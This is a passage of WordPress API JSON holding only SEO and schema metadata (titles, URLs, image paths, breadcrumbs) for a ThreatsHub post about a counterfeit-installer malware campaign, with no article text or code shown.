News\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.microsoft.com\\\/en-us\\\/security\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/image-458x1024.webp\",\"datePublished\":\"2026-09-01T22:48:28+00:00\",\"description\":\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.microsoft.com\\\/en-us\\\/security\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/image-458x1024.webp\",\"contentUrl\":\"https:\\\/\\\/www.microsoft.com\\\/en-us\\\/security\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/image-458x1024.webp\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Malware\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/tag\\\/malware\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Counterfeit installers to system compromise: Tracking a deceptive software download campaign\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"name\":\"ThreatsHub Cybersecurity News\",\"description\":\"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"alternateName\":\"Threatshub.org\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\",\"name\":\"ThreatsHub.org\",\"alternateName\":\"Threatshub.org\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"contentUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"width\":432,\"height\":435,\"caption\":\"ThreatsHub.org\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/threatshub\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\",\"name\":\"TH Author\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"caption\":\"TH Author\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Counterfeit installers to system compromise: Tracking a deceptive software download campaign 2026 | ThreatsHub Cybersecurity News","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/","og_locale":"en_US","og_type":"article","og_title":"Counterfeit installers to system compromise: Tracking a deceptive software download campaign 2026 | ThreatsHub Cybersecurity News","og_description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","og_url":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/","og_site_name":"ThreatsHub Cybersecurity News","article_published_time":"2026-09-01T22:48:28+00:00","og_image":[{"width":432,"height":435,"url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","type":"image\/jpeg"}],"author":"TH Author","twitter_card":"summary_large_image","twitter_creator":"@threatshub","twitter_site":"@threatshub","twitter_misc":{"Written by":"TH Author","Est. reading time":"22 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/#article","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/"},"author":{"name":"TH Author","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476"},"headline":"Counterfeit installers to system compromise: Tracking a deceptive software download campaign","datePublished":"2026-09-01T22:48:28+00:00","mainEntityOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/"},"wordCount":3467,"publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/#primaryimage"},"thumbnailUrl":"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-458x1024.webp","keywords":["Malware"],"articleSection":["Microsoft Secure"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/","url":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/","name":"Counterfeit installers to system compromise: Tracking a deceptive software download campaign 2026 | ThreatsHub Cybersecurity News","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/#primaryimage"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/#primaryimage"},"thumbnailUrl":"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-458x1024.webp","datePublished":"2026-09-01T22:48:28+00:00","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","breadcrumb":{"@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/#primaryimage","url":"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-458x1024.webp","contentUrl":"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-458x1024.webp"},{"@type":"BreadcrumbList","@id":"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.threatshub.org\/blog\/"},{"@type":"ListItem","position":2,"name":"Malware","item":"https:\/\/www.threatshub.org\/blog\/tag\/malware\/"},{"@type":"ListItem","position":3,"name":"Counterfeit installers to system compromise: Tracking a deceptive software download campaign"}]},{"@type":"WebSite","@id":"https:\/\/www.threatshub.org\/blog\/#website","url":"https:\/\/www.threatshub.org\/blog\/","name":"ThreatsHub Cybersecurity News","description":"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform","publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"alternateName":"Threatshub.org","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.threatshub.org\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.threatshub.org\/blog\/#organization","name":"ThreatsHub.org","alternateName":"Threatshub.org","url":"https:\/\/www.threatshub.org\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","contentUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","width":432,"height":435,"caption":"ThreatsHub.org"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/threatshub"]},{"@type":"Person","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476","name":"TH Author","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","caption":"TH Author"}}]}},"_links":{"self":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/61334","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/comments?post=61334"}],"version-history":[{"count":0,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/61334\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/media?parent=61334"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/categories?post=61334"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/tags?post=61334"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}